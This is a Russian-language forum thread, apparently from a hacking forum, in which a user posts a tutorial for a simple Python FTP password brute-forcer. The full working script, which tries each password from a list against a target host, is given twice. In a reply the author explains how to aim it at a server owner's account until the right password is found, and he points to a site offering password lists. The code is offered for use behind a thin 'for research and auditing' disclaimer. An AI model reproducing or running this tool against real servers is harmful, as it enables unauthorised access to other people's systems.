Загрузка...

A simple program for ***** force FTP in Python

Thread in Articles created by baronsubbotage Jan 14, 2022. (bumped Apr 26, 2025) 950 views

  1. baronsubbotage
    baronsubbotage Topic starter Jan 14, 2022 3 Apr 5, 2021
    Это руководство по ****форсу FTP позволит вам создать свой собственный простой инструмент прямого перебора паролей FTP на языке Python.

    Полный код состоит всего из 20 строк, и инструмент достаточно прост.

    Создайте новый файл Python
    Сначала создайте новый файл Python и сохраните его, это позволит вам быстрее редактировать и перемещаться по этому руководству.

    Импортируйте FTPlib
    FTPlib – это стандартная библиотека, используйте ее.

    Запишите следующий фрагмент кода в свой файл Python.

    from ftplib import FTP

    Список паролей
    Инструмент ****а должен использовать список паролей, ведь мы не хотим вводить пароли один за другим :-).

    Создайте строковое значение, которое позволит вам указать местоположение вашего password_list.

    Затем мы добавим имя пользователя по умолчанию, которое мы собираемся использовать, и нам нужно будет указать целевую строку.

    password_list = "my_password_list.txt"
    username = "anonymous"
    target = "ftp.kakoitosite.ru"

    Цикл.
    Определите процесс, назовем его start, мы должны подготовить список, который будет содержать password_list, и нам нужно написать некоторый код, который загрузит список в созданный нами инструмент ****а FTP на Python.

    Добавьте следующую строку кода:

    def start():
    setx = []
    f = open(password_list)
    setx = f.readlines()

    Продолжаем добавлять цикл и шаги входа в систему:

    for password in setx:
    password = password.strip()
    try:
    ftp = FTP(target)
    ftp.login(user=username, passwd = password)
    print("Success:",str(password))
    break
    except Exception as e:
    print("Fail:",str(e)," [X]-> ",password)

    Запуск.
    Последний шаг, который мы сделаем, – это добавим start() в конец кода Python.

    start()
    Конечный результат:
    from ftplib import FTP
    #options
    password_list = "my_password_list.txt"
    username = "anonymous"
    target = "ftp.kakoitosite.ru"


    def start():
    setx = []
    f = open(password_list)
    setx = f.readlines()
    for password in setx:
    password = password.strip()
    try:
    ftp = FTP(target)
    ftp.login(user=username, passwd = password)
    print("Success:",str(password))
    break
    except Exception as e:
    print("Fail:",str(e)," [X]-> ",password)
    start()


    ¯\_(ツ)_/¯
    Примечание: Информация для исследования,
    обучения или проведения аудита. Применение в корыстных целях карается законодательством РФ.
    Примечание 2: Статья не самописная, скопировал с другого сайта.
    https://itsecforu.ru <= на этом ресурсе взял статью и там же еще можно найти списки паролей.
     
    This article was useful for you?
    You can thank the author of the topic by transferring funds to your balance
    Thank the author
  2. vova2525
    vova2525 Jan 14, 2022 0 Sep 1, 2018
    добавь код пж по человечески[IMG]
     
    1. baronsubbotage Topic starter
      vova2525
      Code
      from ftplib import FTP

      # options
      password_list = "passwords.txt"
      username = "anonymous"
      target = "host"


      def start():
      setx = []
      f = open(password_list)
      setx = f.readlines()
      for password in setx:
      password = password.strip()
      try:
      ftp = FTP(target)
      ftp.login(user=username, passwd=password)
      print("Success:", str(password))
      break
      except Exception as e:
      print("Fail:", str(e), " [X]-> ", password)


      start()
  3. AIexa
    AIexa Jan 14, 2022 Лучший софт - lolz.live/threads/1634798/ :+rep: 12,354 Mar 24, 2020
    Ты так симп не нафармишб ни в жизнь, хотя бы тему оформи нормально, блок кода в редакторе есть
     
    1. baronsubbotage Topic starter
      AIexa, емае( спасибо, это моя первая статья, поэтому много ошибок, но в будущем буду писать нужные и актуальные темы, буду работать над этим
  4. YA_RUKOZHOP
    Для тупого идиота поясни пожалуйста. Он перебирает просто циферки?
     
    1. baronsubbotage Topic starter
      YA_RUKOZHOP
      Смотри, ты в переменную password_list указываешь путь к списку паролей, после этого в переменную user: ник человека, под которым хочешь зайти(например хозяин сервера), потом в переменную target айпи или ссылку на сервер, после чего запускаешь код и он начинает перебирать пароли из указанного спика и не остановиться пока не подберет верный пароль.
Top
Loading...